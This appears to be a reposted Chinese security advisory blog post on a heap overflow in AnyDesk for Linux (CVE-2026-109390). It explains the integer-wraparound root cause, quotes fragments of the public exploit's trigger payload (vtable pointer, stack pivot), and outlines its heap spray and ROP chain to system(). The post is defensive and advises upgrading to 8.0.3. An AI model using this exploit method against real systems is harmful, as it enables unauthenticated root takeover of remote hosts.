【漏洞预警】AnyDeskLinux存在堆缓冲区溢出漏洞(POC已公开)"

admin 2026-10-16 13:46:39 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

【漏洞预警】AnyDesk Linux存在堆缓冲区溢出漏洞(POC已公开)

YGnight
YGnight

night安全

2026年10月14日 09:01
四川

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

一、漏洞描述

AnyDesk 是装机量很大的远程桌面工具,Linux 版在系统里以服务方式常驻。

这个服务默认跑在 root 权限下,同时在 TCP 7070 上收连接。

8.0.3 之前的版本里,会话协议处理 mode-5 流数据包的地方留了个口子。

远端在包里携带的一个长度值被直接拿去用,核对排在了后面。

结果是入口落在 AnyDesk 自己的服务上。发起方不需要任何账号,也不需要桌面那一侧点头同意共享屏幕。

CVE 编号为 CVE-2026-109390,MITRE 在 2026 年 10 月 12 日发布了这条记录。

归类 CWE-130。CVSS 3.1 打分 9.8,向量 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,评分方同为 MITRE。

NVD 上这条记录目前还是 Received 状态,尚未给出自己的评分。

CISA 的 SSVC 记录给了三项取值,利用成熟度 poc,自动化可行性 yes,技术影响 total。

受影响区间按 NVD 记录是 8.0.0 起、8.0.3 之前,平台 Linux。

公开利用代码的实测对象是 8.0.2,运行环境 Linux x86\_64,服务以 service 模式启动。

该构建的二进制 SHA-256 为 62ee04ad48dc039dd9c927f998e56143c87a9c5e12d28654f78c7f6340394f5a。

8.0.1 是否带同一处问题,公开材料只提到可能存在相同的代码,没有实测结论。

厂商早在同年 6 月就已经推送了 8.0.3,公开利用代码直到 10 月 8 日才放出。

公开情报里暂无已观测到的在野利用记录。

CVE 编号 CVE-2026-109390
漏洞类型 堆缓冲区溢出,CWE-130,长度参数处理不一致
影响组件 AnyDesk Linux 会话协议的 mode-5 流数据包处理逻辑
受影响版本 NVD 记录 8.0.0 起至 8.0.3 之前,平台 Linux;公开利用实测 8.0.2
修复版本 8.0.3
触发前提 TCP 7070 网络可达,AnyDesk 以服务模式常驻
利用条件 无需认证,无需用户交互,无需对方同意桌面控制
危害面 以服务进程权限执行任意命令,Linux 下该进程通常为 root
CVSS 9.8,CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,评分来源 MITRE
在野利用 公开情报中暂无已观测到的在野利用记录

二、漏洞原理

握手结束之后,服务端给这条连接分配一个流 id,后续的数据包都挂在它上面。

流上的 mode-5 包共五段。

// mode-5 数据包在已分配流上的布局
u16be   frame\_len           整个帧的字节数
u16be   stream\_id           握手时服务端分配的流 id
u8      mode\_prefix        固定 0x00
varint  declared\_len       本包声明的载荷长度
u8[]    body               实际跟过来的数据

// 32 位加法在这一步进位被丢掉
0xfffffff0 + 0x10 = 0x1\_0000\_0000
保留低 32 位      = 0x00000000

声明值走的是变长整数编码,7 位一格,公开脚本里这段是自己实现的。

// exploit/anydesk\_proto/frames.py
def encode\_varint(value):
    out = bytearray()
    while True:
        byte = value & 0x7F
        value >>= 7
        if value:
            out.append(byte | 0x80)
        else:
            out.append(byte)
            return bytes(out)

def build\_mode5\_payload(payload):
    return encode\_varint(len(payload)) + payload

0xfffffff0 用这种编码只占五个字节,外面那层帧可以小到几十字节。攻击者不用真发四个 G,数字写进去就够了。

下面这段按公开描述还原,不是厂商源码,也没有在本机执行。

// 按公开描述还原的处理流程
declared = read\_varint(p)           // 0xfffffff0,未与帧剩余长度比对
alloc\_sz = declared + 0x10          // 32 位加法,进位丢弃
obj = malloc(alloc\_sz)              // 拿到 0 字节
obj->data = (char \*)obj + 0x10      // 数据区仍按 16 字节头后移
obj->len  = declared                // 逻辑长度保留原值
memcpy(obj->data, body, body\_len) // 写入越过堆块边界

0xfffffff0 到 0xffffffff 这一段声明值都能触发,算出来的分配大小落在 0 到 15 字节。

对象这边留着原本那个巨大的长度,指针照旧从分配起点往后挪 16 字节,多出来的部分写到了别人头上。

触发包本身很短,脚本里只拼了一个几十字节的对象。

// exploit/anypwn.py
MODE5\_TRIGGER\_DECLARED\_LEN = 0xFFFF\_FFF0

mode5\_prefix = encode\_varint(MODE5\_TRIGGER\_DECLARED\_LEN)
body = (
    b\"C\" \* 0x10
    + p64(offsets[\"target\_vtable\"])
    + p64(0xFF)
    + p64(0)
    + p64(0xD001)
    + p64(offsets[\"stack\_pivot\"])
)
payload = STREAM\_MODE\_PREFIX + mode5\_prefix + body
frame = build\_stream\_payload(stream\_id, payload)
client.send\_raw(frame)

前面那 16 个 C 用来填满对象头,后面四个值依次是虚函数表指针、引用计数、零值和一个 0xD001 标记,最后那个是栈迁移跳板。

这些地址连同 vtable 与各条 gadget 写死在脚本开头的字典里,全部取自 8.0.2 这一个构建。

溢出要有用,前提是某个受害者对象正好挨着那块被算小的内存。

脚本先把分配器的常见尺寸铺满,从 1 字节到 0x17f1 字节,每 16 字节一档,每档发 100 个对象,之后再另开十条连接放候选受害者。

后面的 ROP 部分解决落点问题。同样一份对象连发二十份,每份前面是一长串 ret 指令地址,中间才是真正的调用链。

调用链本身做的事不复杂,命令字符串按 8 字节一组写进固定地址,地址放进第一个参数,跳去执行 system。

这是一趟概率活。内存布局没凑上的时候,服务进程会直接崩掉,命令不会跑起来。

三、修复建议

Linux 上的 AnyDesk 升到 8.0.3 及以上

近期值得重点关注的漏洞预警

【紧急漏洞预警】nacos爆出权限绕过漏洞,可以创建管理员账户,经过分析有点出处(已复现,exp脚本已编写)

【漏洞预警】macOS爆出路径穿越漏洞CVE-2026-84568(POC已公开)

PostgreSQL爆出远程代码执行漏洞(POC已公开)

【漏洞预警】Atlassian八款产品爆任意文件读取漏洞(附POC)

【漏洞预警】Joomla视频画廊扩展存在SQL注入漏洞(POC已公开)

【漏洞预警】Roundcube网页邮件客户端存在SQL注入漏洞(附POC)

WordPress页面模板存在文件包含漏洞(POC已公开)CVE-2026-87902

WordPress插件Forminator未认证短代码执行漏洞(poc已公开)CVE-2026-92229

WordPress插件Authorizer存在权限提升漏洞(POC已公开)CVE-2026-81294

WordPress插件MStoreAPI存在认证绕过漏洞(POC已公开)CVE-2026-13447

CakePHP爆出SQL注入漏洞(POC已公开)CVE-2026-77635

Node.js模块proxy-addr爆出严重漏洞CVE-2026-90711

Langflow爆出代码执行漏洞CVE-2026-17633  (POC已公开)

Apache CVE-2026-42536,补它只用一行,洞龄十四年

【紧急】搜狗输入法爆出远程代码执行漏洞CVE-2026-51990  ,已被在野利用

【紧急】无需登录就能获取 GitLab 的任意文件数据(附POC)

【紧急】JumpServer堡垒机被公布Access Key泄露漏洞,可以实现提权

Spring Cloud Azure公布严重漏洞 无需任何权限即可取得登录会话

【漏洞POC已公开】Linux RDS 爆出提权漏洞 一块内存放两次,root就到手了

Tenda光猫爆出严重漏洞,目前无补丁(POC已公布

13 行补丁,堵住Linux能拿 root 的内核洞(EXP已公开)

48 字节,换走一台 Windows 的 SYSTEM(CVE-2026-62735漏洞POC已公开)

【漏洞预警】linux删个网桥就能提权root?目前没有补丁(POC已公开)

【漏洞预警】Linux三年前补上的洞,又一次被挖开了

【情报】支付宝8.2亿数据泄露?给同事说一声,别自己吓自己

【漏洞预警】自己注册个号,就能搬空别人的 Magento 订单和支付卡(POC已公开)

【漏洞预警】Next.js 爆出新漏洞,不用登录实现命令执行(POC已公开)

【漏洞补丁绕过预警】Redis CVE-2026-23479变种高危漏洞,EXP已公开

【漏洞补丁绕过】超 30 万 WordPress 站点受影响,Forminator 文件上传漏洞(附POC)

【漏洞预警】Exchange爆出RCE漏洞,利用Exchange 帮另一台 Exchange 开门(POC已公开)

【漏洞预警】不用登录,一个请求就能让 GeoServer 乖乖执行命令(POC已公开)

【漏洞预警】Keycloak不登录就能接管任意账户,双重验证也拦不住

【漏洞预警】 8月WebLogic公布了9个漏洞,有一个需要重点关注

【漏洞预警】近期MongoDB 公布了5个漏洞,最严重的一个可以不认证、远程就能拿下你电脑

【0DAY漏洞】 全球5G手机芯片厂商之一‌的紫光展锐SOC存在RCE漏洞,影响数十家手机厂商,还未发布补丁

【漏洞告警】安卓 14 到 16 全中招,通讯录 SQL 注入漏洞正在抄家(POC已公开)

【漏洞预警】紧急排查,SMB服务再曝新漏洞,利用脚本已公开

【漏洞预警】不用输密码,对方已经接管你的Mac:官方补丁公布macOS存在未鉴权RCE漏洞

【0day漏洞预警】MariaDB 13 爆 9.8 分 RCE 链:最低 USAGE 权限就能远程执行命令

VMware 爆 5 个洞,两个 9.8 不用密码就能打穿 vCente

AI驱动的网络攻击演进:趋势研判、风险洞察与防御思考" 网络安全文章

AI驱动的网络攻击演进:趋势研判、风险洞察与防御思考"

本文系统分析AI驱动网络攻击的演进趋势与防御思路。核心观点是AI正将攻击从辅助工具推向自主智能体阶段,实现攻击的规模化、低成本化与个性化。文章详述恶意大模型、深度伪造、自动化漏洞利用、自主Agent攻击等七大趋势,并指出企业面临数据泄露、影子AI、合规等多重风险。建议企业以AI对抗AI,建立前置风险评估与快速响应闭环,强化供应链安全管控。
ApacheTomcat11.0.27未认证DoS0Day" 网络安全文章

ApacheTomcat11.0.27未认证DoS0Day"

ApacheTomcat11.0.27存在未认证远程DoS0Day漏洞,源于RewriteValve解析flag时使用前缀匹配而非精确匹配,导致\\[NS\\]等flag被误认为\\[N\\],配合无循环上限的i=-1可无限循环,单条GET请求即可锁死worker线程,默认200条请求可耗尽连接池。官方尚未发布CVE及修复版本,建议升级main分支、关闭RewriteValve或审计rewrite.config。
评论:0   参与:  0